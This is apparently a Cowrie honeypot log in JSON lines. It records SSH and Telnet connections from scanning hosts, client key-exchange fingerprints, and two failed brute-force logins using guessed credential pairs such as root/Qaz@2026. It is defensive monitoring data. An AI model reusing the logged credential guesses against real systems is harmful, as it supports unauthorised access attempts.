{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":54240,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bd2836d82ba","protocol":"ssh","message":"New connection: 2.57.122.238:54240 (159.203.135.109:22) [session: 0bd2836d82ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:05.079514Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:05.186340Z","src_ip":"2.57.122.238","session":"0bd2836d82ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":35524,"dst_ip":"159.203.135.109","dst_port":23,"session":"8636ccfcded0","protocol":"telnet","message":"New connection: 142.93.2.99:35524 (159.203.135.109:23) [session: 8636ccfcded0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:05.489041Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":35730,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9214762be80","protocol":"telnet","message":"New connection: 142.93.2.99:35730 (159.203.135.109:23) [session: b9214762be80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:05.787918Z"}
{"eventid":"cowrie.session.closed","duration":35.55063033103943,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:06.478674Z","src_ip":"142.93.2.99","session":"fe3bba1b939a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":35748,"dst_ip":"159.203.135.109","dst_port":23,"session":"feb5b7a11603","protocol":"telnet","message":"New connection: 142.93.2.99:35748 (159.203.135.109:23) [session: feb5b7a11603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:06.814109Z"}
{"eventid":"cowrie.session.closed","duration":32.405699014663696,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:07.047902Z","src_ip":"142.93.2.99","session":"2cdbc8e8d4a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":36302,"dst_ip":"159.203.135.109","dst_port":23,"session":"64a3ec506140","protocol":"telnet","message":"New connection: 142.93.2.99:36302 (159.203.135.109:23) [session: 64a3ec506140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:07.729771Z"}
{"eventid":"cowrie.session.closed","duration":34.81176543235779,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:07.933119Z","src_ip":"142.93.2.99","session":"bbdcbbfa8fc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":39534,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ead6031cd3a","protocol":"telnet","message":"New connection: 142.93.2.99:39534 (159.203.135.109:23) [session: 3ead6031cd3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:11.609734Z"}
{"eventid":"cowrie.session.closed","duration":32.29276895523071,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:12.071551Z","src_ip":"142.93.2.99","session":"e69d84c34445","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":38718,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ee20d2ab0e4","protocol":"telnet","message":"New connection: 142.93.2.99:38718 (159.203.135.109:23) [session: 6ee20d2ab0e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:13.389931Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":42920,"dst_ip":"159.203.135.109","dst_port":23,"session":"86796398a217","protocol":"telnet","message":"New connection: 142.93.2.99:42920 (159.203.135.109:23) [session: 86796398a217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:16.468568Z"}
{"eventid":"cowrie.session.closed","duration":34.004401206970215,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:16.710541Z","src_ip":"142.93.2.99","session":"e5d574a93671","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":43350,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe207b0415d1","protocol":"telnet","message":"New connection: 142.93.2.99:43350 (159.203.135.109:23) [session: fe207b0415d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:17.170465Z"}
{"eventid":"cowrie.session.closed","duration":34.254724740982056,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:18.987645Z","src_ip":"142.93.2.99","session":"008d61b96030","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":44716,"dst_ip":"159.203.135.109","dst_port":23,"session":"33b7c277223d","protocol":"telnet","message":"New connection: 142.93.2.99:44716 (159.203.135.109:23) [session: 33b7c277223d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:19.059324Z"}
{"eventid":"cowrie.session.closed","duration":33.95767593383789,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:20.066661Z","src_ip":"142.93.2.99","session":"56d418636248","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":47098,"dst_ip":"159.203.135.109","dst_port":23,"session":"a183cd7e0880","protocol":"telnet","message":"New connection: 142.93.2.99:47098 (159.203.135.109:23) [session: a183cd7e0880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:22.303700Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":47382,"dst_ip":"159.203.135.109","dst_port":23,"session":"dffecb28ea59","protocol":"telnet","message":"New connection: 142.93.2.99:47382 (159.203.135.109:23) [session: dffecb28ea59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:22.649420Z"}
{"eventid":"cowrie.session.closed","duration":33.748727321624756,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:24.006492Z","src_ip":"104.245.105.2","session":"e88be933c087","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":49850,"dst_ip":"159.203.135.109","dst_port":23,"session":"58f64b48ec3f","protocol":"telnet","message":"New connection: 142.93.2.99:49850 (159.203.135.109:23) [session: 58f64b48ec3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:25.987999Z"}
{"eventid":"cowrie.session.closed","duration":33.587308406829834,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:27.204654Z","src_ip":"142.93.2.99","session":"a5410b010559","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.1738715171814,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:28.600939Z","src_ip":"142.93.2.99","session":"efdefabc47e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.194.140.170","src_port":48348,"dst_ip":"159.203.135.109","dst_port":22,"session":"5390c1aa27f9","protocol":"ssh","message":"New connection: 189.194.140.170:48348 (159.203.135.109:22) [session: 5390c1aa27f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:29.491480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:29.496888Z","src_ip":"189.194.140.170","session":"5390c1aa27f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:29.596721Z","src_ip":"189.194.140.170","session":"5390c1aa27f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz@2026","message":"login attempt [root/Qaz@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:30.022300Z","src_ip":"189.194.140.170","session":"5390c1aa27f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.46658945083618,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:30.760271Z","src_ip":"142.93.2.99","session":"5bc0e1a9bbf2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:31.125173Z","src_ip":"189.194.140.170","session":"5390c1aa27f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.075228452682495,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:32.880344Z","src_ip":"104.245.105.2","session":"cbcda510e4a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.42569613456726,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:34.560068Z","src_ip":"142.93.2.99","session":"810dbc36f1c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":55374,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd33c087d6e1","protocol":"telnet","message":"New connection: 142.93.2.99:55374 (159.203.135.109:23) [session: dd33c087d6e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:34.862327Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":56688,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac4107167b5f","protocol":"telnet","message":"New connection: 142.93.2.99:56688 (159.203.135.109:23) [session: ac4107167b5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:35.587136Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":57490,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f1c78f3ed07","protocol":"telnet","message":"New connection: 142.93.2.99:57490 (159.203.135.109:23) [session: 8f1c78f3ed07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:36.446616Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":57750,"dst_ip":"159.203.135.109","dst_port":23,"session":"10802c15927c","protocol":"telnet","message":"New connection: 142.93.2.99:57750 (159.203.135.109:23) [session: 10802c15927c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:36.711528Z"}
{"eventid":"cowrie.session.closed","duration":33.26666784286499,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:38.755582Z","src_ip":"142.93.2.99","session":"8636ccfcded0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.40837287902832,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:39.222353Z","src_ip":"142.93.2.99","session":"feb5b7a11603","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.348225355148315,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:40.077902Z","src_ip":"142.93.2.99","session":"64a3ec506140","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":60870,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c17bcf2c597","protocol":"telnet","message":"New connection: 142.93.2.99:60870 (159.203.135.109:23) [session: 5c17bcf2c597]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:40.289552Z"}
{"eventid":"cowrie.session.closed","duration":34.83566975593567,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:40.623431Z","src_ip":"142.93.2.99","session":"b9214762be80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":35172,"dst_ip":"159.203.135.109","dst_port":23,"session":"36619b9e416c","protocol":"telnet","message":"New connection: 142.93.2.99:35172 (159.203.135.109:23) [session: 36619b9e416c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:42.959944Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":35510,"dst_ip":"159.203.135.109","dst_port":23,"session":"f10e1c6f0de9","protocol":"telnet","message":"New connection: 142.93.2.99:35510 (159.203.135.109:23) [session: f10e1c6f0de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:43.395513Z"}
{"eventid":"cowrie.session.closed","duration":34.64493918418884,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:46.254570Z","src_ip":"142.93.2.99","session":"3ead6031cd3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.1102728843689,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:46.500103Z","src_ip":"142.93.2.99","session":"6ee20d2ab0e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":37748,"dst_ip":"10.17.0.5","dst_port":23,"session":"84c8548a56b1","protocol":"telnet","message":"New connection: 104.245.105.2:37748 (10.17.0.5:23) [session: 84c8548a56b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:49.768620Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":42002,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b208f701027","protocol":"telnet","message":"New connection: 142.93.2.99:42002 (159.203.135.109:23) [session: 7b208f701027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:50.208808Z"}
{"eventid":"cowrie.session.closed","duration":34.57494282722473,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:51.043401Z","src_ip":"142.93.2.99","session":"86796398a217","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.536272048950195,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:51.706614Z","src_ip":"142.93.2.99","session":"fe207b0415d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.07239294052124,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:52.131610Z","src_ip":"142.93.2.99","session":"33b7c277223d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":44292,"dst_ip":"159.203.135.109","dst_port":23,"session":"96a87282d506","protocol":"telnet","message":"New connection: 142.93.2.99:44292 (159.203.135.109:23) [session: 96a87282d506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:52.509062Z"}
{"eventid":"cowrie.session.closed","duration":32.701499700546265,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:55.005094Z","src_ip":"142.93.2.99","session":"a183cd7e0880","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.914140701293945,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:55.563416Z","src_ip":"142.93.2.99","session":"dffecb28ea59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":50968,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a2e2d2b11cc","protocol":"telnet","message":"New connection: 142.93.2.99:50968 (159.203.135.109:23) [session: 1a2e2d2b11cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:00.285945Z"}
{"eventid":"cowrie.session.closed","duration":35.073845624923706,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:01.061720Z","src_ip":"142.93.2.99","session":"58f64b48ec3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":53236,"dst_ip":"159.203.135.109","dst_port":23,"session":"c67564a4cd02","protocol":"telnet","message":"New connection: 142.93.2.99:53236 (159.203.135.109:23) [session: c67564a4cd02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:01.844062Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":55086,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1e9f56277af","protocol":"telnet","message":"New connection: 142.93.2.99:55086 (159.203.135.109:23) [session: b1e9f56277af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:03.848678Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.22.58","src_port":48826,"dst_ip":"159.203.135.109","dst_port":22,"session":"54e0a0cd6a57","protocol":"ssh","message":"New connection: 202.165.22.58:48826 (159.203.135.109:22) [session: 54e0a0cd6a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:05.163741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:05.169431Z","src_ip":"202.165.22.58","session":"54e0a0cd6a57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:05.456933Z","src_ip":"202.165.22.58","session":"54e0a0cd6a57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.29633641242981,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:06.158534Z","src_ip":"142.93.2.99","session":"dd33c087d6e1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test05","password":"test05","message":"login attempt [test05/test05] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:06.648877Z","src_ip":"202.165.22.58","session":"54e0a0cd6a57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":57672,"dst_ip":"159.203.135.109","dst_port":23,"session":"59a71ff51a6e","protocol":"telnet","message":"New connection: 142.93.2.99:57672 (159.203.135.109:23) [session: 59a71ff51a6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:06.791903Z"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:07.942389Z","src_ip":"202.165.22.58","session":"54e0a0cd6a57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.92488408088684,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:09.511741Z","src_ip":"142.93.2.99","session":"ac4107167b5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.08580541610718,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:09.532307Z","src_ip":"142.93.2.99","session":"8f1c78f3ed07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.20390844345093,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:09.915322Z","src_ip":"142.93.2.99","session":"10802c15927c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":60888,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b911f0e9629","protocol":"telnet","message":"New connection: 142.93.2.99:60888 (159.203.135.109:23) [session: 5b911f0e9629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:10.199565Z"}
{"eventid":"cowrie.session.closed","duration":32.68871593475342,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:12.978138Z","src_ip":"142.93.2.99","session":"5c17bcf2c597","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":37022,"dst_ip":"159.203.135.109","dst_port":23,"session":"022ae38ef617","protocol":"telnet","message":"New connection: 142.93.2.99:37022 (159.203.135.109:23) [session: 022ae38ef617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:15.813864Z"}
{"eventid":"cowrie.session.closed","duration":33.09261226654053,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:16.052465Z","src_ip":"142.93.2.99","session":"36619b9e416c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":38622,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fb9e2c08aab","protocol":"telnet","message":"New connection: 142.93.2.99:38622 (159.203.135.109:23) [session: 2fb9e2c08aab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:02:17.539947Z"}
